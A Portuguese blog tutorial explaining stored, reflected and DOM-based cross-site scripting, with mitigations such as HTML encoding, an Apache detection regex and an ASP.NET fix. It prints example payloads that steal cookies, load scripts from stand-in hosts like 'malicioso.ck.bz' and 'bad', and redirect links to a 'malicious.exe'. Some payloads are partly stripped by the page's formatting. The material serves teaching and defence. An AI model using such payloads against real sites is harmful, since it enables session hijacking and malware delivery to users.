-->

Anuncio!

Cross-site scripting - O que é e como fazer?

Cross-site scripting - O que é e como fazer?


Cross-site scripting, ou xss, é um ataque do tipo injeção, onde scripts maliciosos são injetados em sites confiáveis.

O ataque xss ocorre quando um atacante usa uma aplicação web para enviar códigos maliciosos, geralmente na forma de um script do lado do navegador para um usuário final.

As falhas que permitem que esses ataques sejam bem sucedidos são bastante difundidas, e ocorrem em qualquer lugar em que uma aplicação web usa a entrada de um usuário dentro da saída que ele gera, sem validá-la ou codificá-la.

O navegador do usuário não consegue identificar que aquele script não deve ser confiável, e irá executá-lo, pois o navegador pensa que o script veio de uma fonte confiável.

Sendo assim o script malicioso pode acessar qualquer cookie, tokens de sessão, ou outras informações sensíveis retidas pelo navegador e utilizá-las naquele site. Estes scripts podem até reescrever o conteúdo da página HTML.

Um ataque de Cross-site scripting ocorre quando:

1 – Dados entram em uma aplicação web, através de uma fonte não confiável, normalmente, uma requisição web.

2 – A informação é inclusa em conteúdo dinâmico, e é enviada para o usuário web sem ser validada como conteúdo malicioso.

O conteúdo malicioso enviado ao navegador, geralmente, assume a forma de um segmento de JavaScript, mas também pode incluir HTML, Flash ou qualquer outro tipo de código que o navegador possa executar. A variedade de ataques baseada em xss é quase infinita, mas em geral, incluem transmissão de informação privada, como cookies ou outras informações da sessão ao atacante, redirecionando para a vítima conteúdo controlado pelo atacante, ou fazendo outras operações maliciosas na máquina do usuário, sob o disfarce do site vulnerável.

Tipos de ataque XSS


Ataques xss geralmente podem ser divididos em duas categorias:


1 - Stored (Persistente)


2 – Reflected (Refletido)


Há um terceiro tipo, menos conhecido, chamado XSS DOM Based(Sigla DOM de Document Object Model)


Ataques xss stored


Ataques xss stored, ou xss persistente, são ataques onde o script injetado são armazenados permanentemente no servidor atacado, como em banco de dados, em uma mensagem de um fórum, log de visitantes, campo de comentários, etc. A vítima obtém o script malicioso do server quando requisita informações armazenadas.


O ataque xss stored algumas vezes é referido como xss persistente ou xss tipo 1.


Exemplos de xss stored


Vamos supor que exista uma aplicação web que permita a inserção de código HTML


integralmente nos campos de entrada do nome e sobrenome no formulário para


atualização das preferências do usuário:




             alert(document.cookie)



Desta forma, quando for executada uma busca pelos usuários cadastrados, o código


HTML acima será executado assim que o usuário aparecer na relação dos resultados da


busca.


Variações deste ataque podem ser utilizadas para permitir que o usuário mal


intencionado modifique o código arbitrário de acordo com o tipo de requisição ou


cliente infectado, utilizando, por exemplo, uma referência a um script remoto:




<A HREF="http://confiavel.org.br/busca.cgi?CC=


SRC='http://malicioso.ck.bz/badguy.js'>"> Vá para Confiável.org.br</A>



Neste exemplo, o site confiável não possui filtros apropriados para proteger-se da


inserção do código HTML que faz referência ao script malicioso:




 echo ‘<h1>Seu termo de busca é : ’ + getParameter(‘CC’) + ‘</h1>’;



O código HTML executado no navegador do usuário alvo resultaria na carga arbitrária


de um script estranho à aplicação e contendo quaisquer tipos de instruções que o usuário


mal intencionado deseje:




<h1>Seu termo de busca é


SRC='http://malicioso.ck.bz/badguy.js'></h1>



Ataques xss reflected


A exploração dessa vulnerabilidade envolve a elaboração de uma solicitação com


código a ser inserido embutido e refletido para o usuário alvo que faz a solicitação. O


código HTML inserido é entregue para aplicação e devolvido como parte integrante do


código de resposta, permitindo que seja executado de maneira arbitrária pelo navegador


do próprio usuário.


Este ataque geralmente é executado por meio de engenharia social, convencendo o


usuário alvo que a requisição a ser realizada é legítima. As consequencias variam de


acordo com a natureza da vulnerabilidade, podendo variar do sequestro de sessões


válidas no sistema, roubo de credenciais ou realização de atividades arbitrárias em nome


do usuário afetado.


Exemplo de XSS refletido:


Tome-se como exemplo um aplicativo web que receba um parâmetro “nome” contendo a identificação do usuário legítimo e apresente o conteúdo sem quaisquer filtros:




http://www.vul.site/welcome.html?name=fulano


echo ‘<h1>Olá usuário ‘ + getParameter(‘name’) + ‘</h1>';



Considere que um usuário mal intecionado altere o atalho para incluir um código


arbitrário a ser executado no navegador do usuário alvo:




http://www.example.com/welcome.html


name=alert(document.cookie)



Se um usuário legítimo e com acesso ao aplicativo vulnerável realizar a requisição acima, o código javascript ‘alert(document.cookie)’ será executado sem ressalvas no navegador do usuário alvo.



Outros exemplos de ataque podem incluir a substituição de todos os links válidos do aplicativo web pode um referência a um arquivo executável contendo um vírus ou um cavalo de tróia:




http://www.example.com/welcome.html?name=window.onload =


function() {var AllLinks=document.getElementsByTagName("a");AllLinks[0].href =


"http://badexample.com/malicious.exe"; }



Efeito do ataque:



Este tipo de ataque responde por aproximadamente 75% das vulnerabilidades de XSS


que afetam aplicativos web na Internet.


Baseados no DOM (DOM based)


O Document object Model (DOM) é o padrão utilizado para interpretar o código HTML em objetos a serem executados pelos navegadores web.


O ataque de XSS baseado no DOM permite a modificação de propriedades destes objetos diretamente no navegadordo usuário alvo, não dependendo de nenhum interação por parte do servidor que hospeda o aplicativo web.


Diferentemente do ataque de XSS persistente ou refletido, o ataque baseado em DOM


não necessita de interações diretas com o aplicativo web e utiliza-se de vulnerabilidades


existentes na interpretação do código HTML no ambiente do navegador do usuário alvo.


Exemplo de XSS baseado em DOM:


Tome-se como exemplo um aplicativo que contém um javascript que escolhe o tipo de


estilo a ser utilizado de acordo com o parâmetro passado pelo usuário:




var estilo = ‘style’ + location.hash + ‘.css’; document.write(‘’);



Agora tome-se como exemplo um link construído de maneira a carregar um código


arbitrário, conforme exemplo abaixo:




http://vitima.com/teste.html#>


src=”http://bad/bad.js”>



Quando executado no navegador do usuário, a referência acima será utilizada para


inserir um script mal intencionado no contexto do aplicativo web, sem o conhecimento


do aplicativo web afetado (pelo lado do servidor).


Qual o impacto e as principais consequências do ataque?


Os ataques de XSS são frequentemente utilizados para causar danos aos usuários


legítimos de um aplicativo vulnerável. Para a corporação, o impacto da vulnerabilidade


de XSS é principalmente sua imagem e a possibilidade de utilização da falha para a distribuição de phishing e facilitação de fraudes.


Dentre as principais consequências para o usuário afetado, incluem:


Sequestro de sessão de usuários;


Alteração do código HTML do aplicativo (visivel somente do lado do cliente);


Redirecionar o usuário para sites maliciosos;


Alteração do objeto DOM para captura de dados ou envio de malware.


Como evitar ataques de XSS?





  • Você deve se assegurar que todas as entradas de dados do usuário não são confiáveis.






  • Todos dados de usuário a serem utilizados para construção do contexto HTML (corpo,atributo, JavaScript, CSS ou URL) devem ser verificados para assegurar que não




contenham nenhum conteúdo ativo (JavaScript, ActiveX, Flash, Silverlight, etc) e que


sejam codificados de maneira apropriada, por exemplo, transformando meta caracteres em códigos de escape HTML.


Uma boa referência para apoiar a filtragem de dados é o dicionário de ataques XSS fornecido pelo OWASP.


Por outro lado, os ataques de XSS também podem ser evitados pela implementação de


um filtro de aplicações web, mais conhecido como Web Application Firewall, e também


por meio de mecanismos de prevenção que estão embutidos em navegadores modernos.


Exemplo de filtro utilizando o Apache:


Utilizando-se do módulo rewrite do Apache, as URL podem ser avaliadas de acordo com uma expressão regular para determinar a presença de meta-caracteres nos dados recebidos do usuário.


Por exemplo, a seguinte expressão regular pode ser usada para detectar caracteres alfanuméricos entre as tags ou barras:




/((\%3C)|<)((\%2F)|\/)*[a-z0-9\%]+((\%3E)|>)/i



Exemplo de correção para códigos vulneráveis:


Este é um exemplo de código em ASP.NET (v1.1) vulnerável, cuja função é de pesquisa e retorno dos dados enviados pelo usuário:




‘ SearchResult.aspx.vb


Imports System


Imports System.Web


Imports System.Web.UI


Imports System.Web.UI.WebControls


Public Class SearchPage Inherits System.Web.UI.Page


Protected txtInput As TextBox


Protected cmdSearch As Button


Protected lblResult As Label Protected


Sub cmdSearch _Click(Source As Object, _ e As EventArgs)


// Do Search.....


// ............


lblResult.Text=”You Searched for: ” & txtInput.Text


// Display Search Results.....


// ............


End Sub


End Class



Para remover a falha e mitigar a vulnerabilidade, se faz necessário incluir uma validação


dos dados de entrada do usuário por meio da inserção de um “filtro” que evite que


códigos HTML sejam expostos explicitamente sem uma codificação apropriada:




Response.Write Server.HtmlEncode(inputTxt.Text)



Exemplos de ataques


http://www.youtube.com/watch?v=_Z9RQSnf8-g&feature=player_embedded

FONTES BIBLIOGRÁFICAS:


OWASP - https://www.owasp.org/index.php


Equipe RedeSegura - http://www.redesegura.com.br/2012/01/saiba-mais-sobre-o-cross-site-scripting-xss/

Compartilhar:
← Anterior Proxima → Inicio

Um comentário:

Formulário de contato

Nome

E-mail *

Mensagem *

Sites Parceiros

Anuncio No Post

Anuncio No Post

Anuncio Aqui!